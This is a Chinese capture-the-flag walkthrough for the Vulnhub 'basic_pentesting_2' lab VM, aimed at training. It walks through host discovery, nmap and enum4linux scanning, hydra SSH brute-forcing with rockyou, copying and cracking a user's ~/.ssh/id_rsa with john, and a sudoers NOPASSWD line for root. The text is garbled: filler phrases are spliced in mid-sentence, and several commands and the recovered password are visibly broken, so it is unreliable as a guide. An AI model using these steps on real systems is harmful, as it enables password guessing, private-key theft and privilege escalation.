basic_pentesting_2靶场实战

basic_pentesting_2 是 Vulnhub 网站提供的虚拟化渗透测试靶场镜像，主要用于练习基础渗透测试技术。该靶场通过模拟网络环境中的常见漏洞场景，帮助使用者熟悉信息收集、漏洞利用等实战技能。

下载链接：

至于攻击目标。

远程攻击虚拟机，获得root权限，并读取位于/root/flag.txt的标志。

至于环境搭建，

使用VMware Workstation导入靶场

更改虚拟机的兼容性

网络适配器选择：NAT模式

启动靶场时需要去修改靶场的网络配置文件。老实说，

• .到靶机开机的初始页面按字母e
• .就可以进入这个界面修改，在linux后面的ro添加下面代码，接下来按Ctrl+x重启

  rw single init=/bin/bash

• .输入 ip addr 可以看到。目前网卡名字叫做：ens33

  nano /etc/network/interfaces

  修改后重启即可获取IP

. 靶场实战

1. 必须先找到IP地址才能开始渗透！ 在kali中通过netdiscover获取ip。./24是我的网段，用ip a来查询自己的。老实说，

   netdiscover -i eth0 -r ./24
   # 若没有发现目标IP？检查的观点是，# ▪️ 是否在同一局域网？# ▪️ 是否设置了正确的子网掩码？# ▪️ 防火墙是否阻止了探测包？按理说，

✅找到IP地址为192.168.x.x

nmap -A
# 参数解释：
# -A : 开启OS检测、版本检测、脚本扫描
# 若扫描太慢？尝试加上-Pn跳过PING探测或-T5加速扫描速度！# ⚠️ 注意：高速率扫描可能被防火墙识别并阻断！

❌访问端口发现没有什么线索。
但可以清楚知道：
✅程序是Ubuntu Linux → 需要使用Linux相关工具！✅尝试enum4linux收集使用者信息：
enum4linux -U -r
# 参数解释：
# -U : 枚举使用者列表
# -r : 强制递归枚举共享资源
# ❓若提示错误？怎么说呢，确保samba客户端已安装
#
✅发现两个潜在账号：kay 和 jan！
💡为什么直接访问web没线索？➡️因为这是一个Linux运行环境渗透案例，➡️需要从SSH、SMB等服务入手寻找漏洞！

对jan账号进行：

hydra -l jan -P /usr/share/wordlists/rockyou.txt.gz ssh
# 参数调整建议：
# 加上-t 控制并发量
# 加上-s 若非默认22端口时必填！#
✅成功获取jan密码：armando

⚠️若失败常见原因： ▪️字典不匹配 ▪️SSH版本限制 ▪️防火墙限制连接频率!

🔍接下来登录ssh尝试提权...

💡发现有pass.bak文件但无权限打开？不要慌，

➡️发现.ssh文件夹后立即行动：

cat ~/.ssh/idrsa.pub || cat ~/.ssh/idrsa

sudo cat ~/.ssh/id_rsa> ~/key && chmod 600 ~/key

python /usr/share/john/ssh2john.py key> ssh_login

john --format=raw-sha1 ssh_login --show

✅最终获得kay密码: beeswax!，!，!

为什么选择暴力私钥而不是直接sudo?

➡️因为普通账号通常不会有sudo特权。➡️而私钥泄露更常见且隐蔽，➡️这是真实渗透中常用方法！

💬 新手常犯错误汇总: 1. 忽略基础信息收集 2. 没有备份关键文件 3. 对提示符理解错误 4. 没有检查已知漏洞数据库 5. 放弃太早

: 若stuck on root提权阶段？按理说，⬇ ﹁ ﹂ ﹁ ﹂ ⬇

kernel version <= x.xx ?
→ 查看CVE数据库!
→ sudo su失败?
→ try echo 'root ALL= NOPASSWD:ALL' | sudo tee /etc/sudoers.d/user
→ or find SUID binaries with find / -perm +u=s

uname -a | grep "version" && sudo apt-get update && sudo apt-get install linux-headers-$ build-essential

警告: 本教程仅供学习合规安全知识!未经授权对任何程序进行渗透测试属违法行为!话说回来，